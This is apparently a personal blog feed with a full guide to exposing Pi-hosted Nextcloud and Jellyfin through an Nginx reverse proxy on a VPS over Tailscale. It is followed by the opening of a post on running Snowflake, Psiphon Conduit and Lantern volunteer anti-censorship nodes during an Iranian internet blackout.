<p>The request path looks like:</p>
<pre tabindex="0"><code>Browser
  ↓ HTTPS (public)
Cloudflare DNS (optional proxy on/off)
  ↓
VPS (funbox) — Nginx reverse proxy + Let&#39;s Encrypt
  ↓ HTTP over Tailscale (private 100.x network)
Raspberry Pi (iot-hub) — Docker: Nextcloud / Jellyfin / …
</code></pre><p>Why I like it:</p>
<ul>
<li>The Pi can sit behind home router / CGNAT and still be reachable.</li>
<li>TLS, redirects, headers, auth, rate limits… all centralized on the VPS.</li>
<li>Internal IPs can change without breaking public URLs.</li>
</ul>
<hr>
<h2 id="1-whats-running-on-the-pi">1) What’s running on the Pi?</h2>
<p>On <code>iot-hub</code> the “interesting” containers are:</p>
<ul>
<li><code>nextcloud</code> (Apache variant)</li>
<li><code>nextcloud-db</code> (Postgres)</li>
<li><code>nextcloud-redis</code></li>
<li><code>jellyfin</code></li>
</ul>
<p>Example <code>docker ps</code> style output (yours may vary):</p>
<pre tabindex="0"><code>nextcloud         nextcloud:apache     0.0.0.0:8080-&gt;80/tcp
jellyfin          jellyfin/jellyfin    0.0.0.0:8096-&gt;8096/tcp
</code></pre><p>So on the Pi, the services listen on:</p>
<ul>
<li><code>http://&lt;pi&gt;:8080</code> for Nextcloud</li>
<li><code>http://&lt;pi&gt;:8096</code> for Jellyfin</li>
</ul>
<p>But in my setup, <strong>the VPS does not reach those via LAN</strong> — it reaches them via Tailscale IPs.</p>
<hr>
<h2 id="2-tailscale-the-private-wire-between-vps-and-pi">2) Tailscale: the private wire between VPS and Pi</h2>
<p>Tailscale assigns each node an address like <code>100.xx.yy.zz</code>.</p>
<p>In my config, Nginx on <code>funbox</code> points to the Pi via Tailscale:</p>
<ul>
<li>Nextcloud upstream: <code>http://100.104.127.96:8080</code></li>
<li>Jellyfin upstream: <code>http://100.104.127.96:8096</code></li>
</ul>
<p>(Use the Tailscale IP of your Pi.)</p>
<p>Quick sanity checks from the VPS:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># from funbox, make sure you can reach the Pi service:</span>
</span></span><span style="display:flex;"><span>curl -I http://100.104.127.96:8080
</span></span><span style="display:flex;"><span>curl -I http://100.104.127.96:8096
</span></span></code></pre></div><p>If those don’t work: fix Tailscale connectivity first (ACLs, firewall, node online).</p>
<hr>
<h2 id="3-nginx-on-the-vps-reverse-proxy-blocks">3) Nginx on the VPS: reverse proxy blocks</h2>
<h3 id="31-nextcloud-vhost-vps--pi-via-tailscale">3.1 Nextcloud vhost (VPS → Pi via Tailscale)</h3>
<p>Create (or edit):</p>
<p><code>/etc/nginx/sites-available/nextcloud.alipourimjourneys.ir</code></p>
<p>and symlink into <code>sites-enabled</code>.</p>
<p>Here is a complete working example:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#75715e"># Redirect HTTP → HTTPS
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">server</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">listen</span> <span style="color:#ae81ff">80</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">listen</span> <span style="color:#e6db74">[::]:80</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">server_name</span> <span style="color:#e6db74">nextcloud.alipourimjourneys.ir</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">return</span> <span style="color:#ae81ff">301</span> <span style="color:#e6db74">https://</span>$host$request_uri;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">server</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">listen</span> <span style="color:#ae81ff">443</span> <span style="color:#e6db74">ssl</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">listen</span> <span style="color:#e6db74">[::]:443</span> <span style="color:#e6db74">ssl</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">server_name</span> <span style="color:#e6db74">nextcloud.alipourimjourneys.ir</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># Certbot-managed certs
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#f92672">ssl_certificate</span>     <span style="color:#e6db74">/etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/fullchain.pem</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">ssl_certificate_key</span> <span style="color:#e6db74">/etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/privkey.pem</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">include</span>             <span style="color:#e6db74">/etc/letsencrypt/options-ssl-nginx.conf</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">ssl_dhparam</span>         <span style="color:#e6db74">/etc/letsencrypt/ssl-dhparams.pem</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># Big uploads (tune to taste)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#f92672">client_max_body_size</span> <span style="color:#e6db74">2G</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># CalDAV/CardDAV redirects
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#f92672">location</span> = <span style="color:#e6db74">/.well-known/carddav</span> { <span style="color:#f92672">return</span> <span style="color:#ae81ff">301</span> <span style="color:#e6db74">https://</span>$host/remote.php/dav/; }
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">location</span> = <span style="color:#e6db74">/.well-known/caldav</span>  { <span style="color:#f92672">return</span> <span style="color:#ae81ff">301</span> <span style="color:#e6db74">https://</span>$host/remote.php/dav/; }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">location</span> <span style="color:#e6db74">/</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_pass</span> <span style="color:#e6db74">http://100.104.127.96:8080</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_http_version</span> <span style="color:#ae81ff">1</span><span style="color:#e6db74">.1</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Host</span>              $host;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Real-IP</span>         $remote_addr;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-For</span>   $proxy_add_x_forwarded_for;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-Proto</span> $scheme;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e"># Sometimes helps apps behind multiple proxies
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-Host</span>  $host;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-Port</span>  $server_port;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e"># Nextcloud + WebDAV can do long requests
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#f92672">proxy_read_timeout</span> <span style="color:#ae81ff">3600</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_send_timeout</span> <span style="color:#ae81ff">3600</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e"># Usually good for DAV/uploads
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#f92672">proxy_buffering</span> <span style="color:#66d9ef">off</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_request_buffering</span> <span style="color:#66d9ef">off</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Then test + reload:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo nginx -t
</span></span><span style="display:flex;"><span>sudo systemctl reload nginx
</span></span></code></pre></div><h3 id="32-jellyfin-vhost-with-basic-auth">3.2 Jellyfin vhost (with Basic Auth)</h3>
<p>Create:</p>
<p><code>/etc/nginx/sites-available/jellyfin.alipourimjourneys.ir</code></p>
<p>Example:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#66d9ef">server</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">listen</span> <span style="color:#ae81ff">80</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">listen</span> <span style="color:#e6db74">[::]:80</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">server_name</span> <span style="color:#e6db74">jellyfin.alipourimjourneys.ir</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">return</span> <span style="color:#ae81ff">301</span> <span style="color:#e6db74">https://</span>$host$request_uri;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">server</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">listen</span> <span style="color:#ae81ff">443</span> <span style="color:#e6db74">ssl</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">listen</span> <span style="color:#e6db74">[::]:443</span> <span style="color:#e6db74">ssl</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">server_name</span> <span style="color:#e6db74">jellyfin.alipourimjourneys.ir</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">ssl_certificate</span>     <span style="color:#e6db74">/etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/fullchain.pem</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">ssl_certificate_key</span> <span style="color:#e6db74">/etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/privkey.pem</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">include</span>             <span style="color:#e6db74">/etc/letsencrypt/options-ssl-nginx.conf</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">ssl_dhparam</span>         <span style="color:#e6db74">/etc/letsencrypt/ssl-dhparams.pem</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">client_max_body_size</span> <span style="color:#e6db74">512M</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># ✅ Basic Auth gate (extra layer before Jellyfin)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#f92672">auth_basic</span> <span style="color:#e6db74">&#34;Jellyfin</span> <span style="color:#e6db74">(private)&#34;</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">auth_basic_user_file</span> <span style="color:#e6db74">/etc/nginx/.htpasswd-jellyfin</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">location</span> <span style="color:#e6db74">/</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_pass</span> <span style="color:#e6db74">http://100.104.127.96:8096</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_http_version</span> <span style="color:#ae81ff">1</span><span style="color:#e6db74">.1</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Host</span>              $host;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Real-IP</span>         $remote_addr;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-For</span>   $proxy_add_x_forwarded_for;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-Proto</span> $scheme;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e"># Jellyfin uses websockets
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Upgrade</span> $http_upgrade;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Connection</span> <span style="color:#e6db74">&#34;upgrade&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_read_timeout</span> <span style="color:#ae81ff">3600</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_send_timeout</span> <span style="color:#ae81ff">3600</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_buffering</span> <span style="color:#66d9ef">off</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Enable:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo ln -s /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir /etc/nginx/sites-enabled/
</span></span><span style="display:flex;"><span>sudo nginx -t
</span></span><span style="display:flex;"><span>sudo systemctl reload nginx
</span></span></code></pre></div><hr>
<h2 id="4-creating-the-basic-auth-password-file">4) Creating the Basic Auth password file</h2>
<p>Install tools (Debian/Ubuntu):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt-get update
</span></span><span style="display:flex;"><span>sudo apt-get install -y apache2-utils
</span></span></code></pre></div><p>Create the password file:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo htpasswd -c /etc/nginx/.htpasswd-jellyfin yourusername
</span></span></code></pre></div><p>(If adding more users later, omit <code>-c</code>.)</p>
<p>Lock it down:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo chown root:root /etc/nginx/.htpasswd-jellyfin
</span></span><span style="display:flex;"><span>sudo chmod <span style="color:#ae81ff">640</span> /etc/nginx/.htpasswd-jellyfin
</span></span></code></pre></div><h3 id="notes-on-clients">Notes on clients</h3>
<ul>
<li>Most browsers + most Jellyfin apps handle HTTP Basic Auth fine.</li>
<li>Some TV apps can be quirky. If a client can’t handle it, you can:
<ul>
<li>remove Basic Auth, or</li>
<li>keep it only on selected paths, or</li>
<li>use Cloudflare Access in front of Jellyfin instead (more work).</li>
</ul>
</li>
</ul>
<hr>
<h2 id="5-nextcloud-configure-it-to-behave-behind-the-reverse-proxy">5) Nextcloud: configure it to behave behind the reverse proxy</h2>
<p>Nextcloud needs to know:</p>
<ul>
<li>what hostnames are valid,</li>
<li>which proxy is trusted,</li>
<li>and what the “outside” URL scheme is.</li>
</ul>
<p>You can do it via <code>occ</code> inside the container (Apache image uses <code>www-data</code>).</p>
<h3 id="51-trusted_domains">5.1 trusted_domains</h3>
<p>Check current values:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker exec -u www-data nextcloud php /var/www/html/occ config:system:get trusted_domains
</span></span></code></pre></div><p>Add your public domain:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_domains <span style="color:#ae81ff">1</span> --value<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;nextcloud.alipourimjourneys.ir&#34;</span>
</span></span></code></pre></div><p>(Keep your internal name too if you still use it, e.g. <code>rpi:8080</code>.)</p>
<h3 id="52-trusted_proxies">5.2 trusted_proxies</h3>
<p>Because requests arrive from the VPS (over Tailscale), Nextcloud must trust that proxy IP.</p>
<p>Example:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_proxies <span style="color:#ae81ff">0</span> --value<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;100.99.79.75&#34;</span>
</span></span></code></pre></div><p>(Use the <strong>VPS’s Tailscale IP</strong> as seen from the Pi.)</p>
<h3 id="53-overwritehost--overwriteprotocol--overwritecliurl">5.3 overwritehost / overwriteprotocol / overwrite.cli.url</h3>
<p>Tell Nextcloud “the world sees me as <a href="https://nextcloud.example">https://nextcloud.example</a>”:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwritehost --value<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;nextcloud.alipourimjourneys.ir&#34;</span>
</span></span><span style="display:flex;"><span>docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwriteprotocol --value<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https&#34;</span>
</span></span><span style="display:flex;"><span>docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwrite.cli.url --value<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https://nextcloud.alipourimjourneys.ir&#34;</span>
</span></span></code></pre></div><h3 id="54-forwarded_for_headers-optional-but-often-helpful">5.4 forwarded_for_headers (optional, but often helpful)</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker exec -u www-data nextcloud php /var/www/html/occ config:system:set forwarded_for_headers <span style="color:#ae81ff">0</span> --value<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;HTTP_X_FORWARDED_FOR&#34;</span>
</span></span></code></pre></div><p>Restart Nextcloud container after config:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker restart nextcloud
</span></span></code></pre></div><hr>
<h2 id="6-sanity-checks-curl-is-your-friend">6) Sanity checks (curl is your friend)</h2>
<p>From anywhere public:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -I http://nextcloud.alipourimjourneys.ir
</span></span><span style="display:flex;"><span>curl -I https://nextcloud.alipourimjourneys.ir
</span></span><span style="display:flex;"><span>curl -I https://nextcloud.alipourimjourneys.ir/.well-known/caldav
</span></span></code></pre></div><p>Expected “good signs”:</p>
<ul>
<li>HTTP returns <strong>301</strong> to HTTPS</li>
<li>HTTPS returns <strong>302</strong> to <code>/login</code> (or 200 if already authenticated)</li>
<li><code>/.well-known/caldav</code> returns <strong>301</strong> to <code>/remote.php/dav/</code></li>
</ul>
<p>If you see redirect loops or wrong hostnames:</p>
<ul>
<li>revisit <code>overwritehost</code>, <code>overwriteprotocol</code>, <code>trusted_proxies</code>.</li>
</ul>
<hr>
<h2 id="7-do-i-really-need-cloudflare-access--warp">7) “Do I really need Cloudflare Access / WARP?”</h2>
<h3 id="the-honest-answer">The honest answer</h3>
<p>If your setup is:</p>
<ul>
<li>HTTPS only</li>
<li>strong passwords + MFA in Nextcloud/Jellyfin</li>
<li>your origin isn’t directly exposed (only the VPS is public)</li>
<li>you keep things patched</li>
</ul>
<p>…then you’re already in a <strong>reasonable</strong> place.</p>
<h3 id="can-i-skip-cloudflare-access">“Can I skip Cloudflare Access?”</h3>
<p>Yes. In this topology, Cloudflare Access is optional. The main security boundary is:</p>
<ul>
<li><strong>Public:</strong> VPS + Nginx</li>
<li><strong>Private:</strong> Pi over Tailscale</li>
</ul>
<p>For Jellyfin, Basic Auth adds a cheap extra gate that’s “family friendly”.</p>
<hr>
<h2 id="8-cloudflare-access-one-time-pin-not-arriving--passkeys">8) Cloudflare Access: One-time PIN not arriving + passkeys</h2>
<p>Two common gotchas:</p>
<h3 id="81-one-time-pin-email-didnt-arrive">8.1 One-time PIN email didn’t arrive</h3>
<p>That flow relies on email delivery. Check:</p>
<ul>
<li>spam/junk folder</li>
<li>if your provider blocked it</li>
<li>the exact email allowlist in your policy</li>
</ul>
<p>If it’s flaky, I’d avoid One-time PIN and use a real identity provider.</p>
<h3 id="82-can-i-use-passkeys--apple--google">8.2 Can I use passkeys / Apple / Google?</h3>
<p>Yes — but passkeys typically come via an identity provider (IdP) that supports WebAuthn/passkeys.
Practical approach:</p>
<ul>
<li>pick what your family already uses (Google or Apple),</li>
<li>configure that as the login method,</li>
<li>avoid WARP enrollment unless you specifically want device-based access.</li>
</ul>
<hr>
<h2 id="9-hardening-checklist-tiny-but-effective">9) Hardening checklist (tiny but effective)</h2>
<p>On the VPS:</p>
<ul>
<li>Keep Ubuntu security updates on</li>
<li>firewall: allow only what you need (22/80/443)</li>
<li>optional: <code>fail2ban</code> for SSH</li>
</ul>
<p>On the Pi:</p>
<ul>
<li>keep Docker images updated</li>
<li>Postgres/Redis not exposed publicly (Docker internal network)</li>
<li>backups: Nextcloud data + DB</li>
</ul>
<hr>
<h2 id="10-tldr">10) TL;DR</h2>
<ul>
<li>VPS Nginx terminates TLS, proxies to Pi over Tailscale</li>
<li>Nextcloud must be told about:
<ul>
<li><code>trusted_domains</code></li>
<li><code>trusted_proxies</code></li>
<li>overwrite values (<code>overwritehost</code>, <code>overwriteprotocol</code>, <code>overwrite.cli.url</code>)</li>
</ul>
</li>
<li><code>curl -I</code> should show sane redirects + <code>/remote.php/dav/</code></li>
<li>Jellyfin gets an extra gate with <strong>Nginx Basic Auth</strong></li>
</ul>
<p>Boring is good. Boring runs for months.</p>
<hr>
<hr>
<div class="signature-block" style="margin-top:1rem">
  <p><strong>Downloads:</strong>
    <a href="/sources/posts/pi_service_touchup.md">Markdown</a> ·
    <a href="/sources/posts/pi_service_touchup.md.asc">Signature (.asc)</a>
  </p><details class="signature">
    <summary>View OpenPGP signature</summary>
    <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----

iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM
jSomZA/&#43;LsB&#43;V0BnPki5qaDc&#43;tRu6EXM5kPuH7G8x5ar4opsKgbfsRKEwT6/Q0Er
vfg48uYNp4fBnoyfJrgURx&#43;OwS7EVJRCmXaRsdilEEGHF7cT3qHhlczYaC&#43;58lGs
&#43;qXaHjYE8x0byAZ8iHNxNUhIyILVrcsdua3JZ3D3J/8r93dfVgrWg41Nrtj4tPUE
QQMW/KxTe/TOED4iivXxFlDCiT13KmgB/B9HeunGPqu8lPMTORf4ePoPzeYEeuuZ
iVH&#43;ssNZ9XB00Z4a/c3I0d2ALLYoA/dXmrJkl0qCCpCy&#43;7/id2yz3eXYWn2xKMvp
SAMTYaFAV6Fd7xdmxGYEeoCSDu8P57P7QfdPVEU1oUTANO21tEh1vGnjxcFdJUBx
kOvBdjQf4wDqUuNv7NKA&#43;OHOzhJ3Wf3VLb/ZNq6Y2okEibsCygm3XDn0008WeKPv
ncB0gceY6nFYzbyhuUIhPtQJJWDNi5KG/KMEvYcebEwDzn7TErg/v3Bp8ZCdWRx/
Gs8K9nADnHhAjWgwTq3D&#43;2qRWcF0tlLSTmKg&#43;95yaYi0XWWMFGTgCv2odPsgFlIS
3FiLJC3rV73prsk&#43;7eZftBTYCJN0Xk92YFj4a6bTYeuLcC20VbAA98Bpi0pCyO0v
TJ2&#43;amlKyT&#43;Nq9wGrAez&#43;dTvR0FKuEvA5OO693Aibv/iwOX6UPU=
=2UUg
-----END PGP SIGNATURE-----
</pre>
  </details><p><em>Verify locally:</em></p>
  <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/pi_service_touchup.md
curl -fSLO https://blog.alipour.eu/sources/posts/pi_service_touchup.md.asc
gpg --verify pi_service_touchup.md.asc pi_service_touchup.md
  </pre>
</div>


]]></content:encoded></item><item><title>Blackout</title><link>https://blog.alipour.eu/posts/blackout/</link><pubDate>Mon, 26 Jan 2026 07:21:51 +0000</pubDate><guid>https://blog.alipour.eu/posts/blackout/</guid><description>I tried to be more useful, but when I couldn&amp;#39;t, I found another way.</description><content:encoded><![CDATA[<p>Ever since the latest Internet/communication blackout in Iran, I&rsquo;ve been trying to get access to my box inside of the network. I went so far as to beg people to ssh into my box and deploy something that would give me a backdoor to my box, but little to no luck came out of it. Although Arvancloud opened their panel briefly, giving me access to do some digging, I got stuck at putting some sort of binary client on my box from their online panel. I tried to b64 the binary file and copy‑paste it via clipboard, and this caused their panel to crash (or it was just bad timing) — they haven&rsquo;t opened it again.</p>
<p>After getting more and more frustrated, I decided to put my hardware to good use, and host residential-ish volunteer proxies for people wanting to reach the free internet. I chose to host my beloved Snowflake, Conduit (since it became a hot topic), and Lantern. Here’s how you can do the same if you decide to do so.</p>
<p>One important vibe check before we start: I’m not giving anyone a custom “backdoor” into <em>your</em> network, and you shouldn’t either. The whole point of the tools below is that they’re designed to work as <strong>volunteer nodes</strong> inside larger networks (Tor / Psiphon / Lantern), not as random open proxies you expose yourself.</p>
<h1 id="running-anticensorship-infrastructure-at-home-raspberry-pi-server-whatever">Running Anti‑Censorship Infrastructure at Home (Raspberry Pi, server, whatever)</h1>
<p>I didn’t set out to become a tiny piece of global internet infrastructure. I just had a couple of Raspberry Pis, a decent internet connection, and the uncomfortable feeling that access to information shouldn’t depend on where you were born.</p>
<p>So I turned my Pis into helpers.</p>
<p>This post is about running <strong>three different anti‑censorship tools</strong> on Raspberry Pi hardware, quietly and continuously, without exposing scary open ports or babysitting terminals:</p>
<ul>
<li><strong>Psiphon Conduit</strong> – to help Psiphon users automatically</li>
<li><strong>Tor Snowflake (standalone proxy)</strong> – to help Tor users automatically</li>
<li><strong>Lantern Unbounded</strong> – a browser‑based volunteer bridge, daemonized so it runs forever</li>
</ul>
<p>Everything runs headless (or <em>headless‑ish</em>), survives reboots, and doesn’t require me to log in every week just to check if it’s still alive.</p>
<hr>
<h2 id="the-philosophy-dont-be-a-public-server-be-a-volunteer-node">The philosophy: don’t be a public server, be a volunteer node</h2>
<p>A theme you’ll see throughout this setup is intentional modesty. I’m not running an open proxy. I’m not advertising an IP address. I’m not routing half the internet through my house.</p>
<p>Instead, I’m running software that’s designed to safely integrate into bigger systems that already handle discovery, encryption, throttling, abuse prevention, and client UX.</p>
<p>That’s the difference between helping — and waking up to your ISP asking why your home IP suddenly became “a whole thing”.</p>
<hr>
<h2 id="what-you-need-one-time">What you need (one time)</h2>
<p>This guide assumes Ubuntu on ARM (Pi). It works on a normal server too.</p>
<p>First, install Docker (because containers are a gift):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt update
</span></span><span style="display:flex;"><span>sudo apt install -y curl
</span></span><span style="display:flex;"><span>curl -fsSL https://get.docker.com -o get-docker.sh
</span></span><span style="display:flex;"><span>sudo sh get-docker.sh
</span></span><span style="display:flex;"><span>sudo usermod -aG docker $USER
</span></span><span style="display:flex;"><span>newgrp docker
</span></span></code></pre></div><p>Now make yourself a clean playground under <code>/srv</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo mkdir -p /srv/<span style="color:#f92672">{</span>conduit,snowflake,lantern<span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>sudo chown -R $USER:$USER /srv/<span style="color:#f92672">{</span>conduit,snowflake,lantern<span style="color:#f92672">}</span>
</span></span></code></pre></div><p>I like <code>/srv</code> because it signals “service data lives here” and I’m less likely to delete it while cleaning my home directory at 3am.</p>
<hr>
<h2 id="conduit-quietly-helping-psiphon-users-docker">Conduit: quietly helping Psiphon users (Docker)</h2>
<p>Conduit is Psiphon’s volunteer “station” software. Once it’s running, Psiphon’s own network decides when and how clients use it. There’s nothing to configure, nothing to advertise, and no port forwarding required.</p>
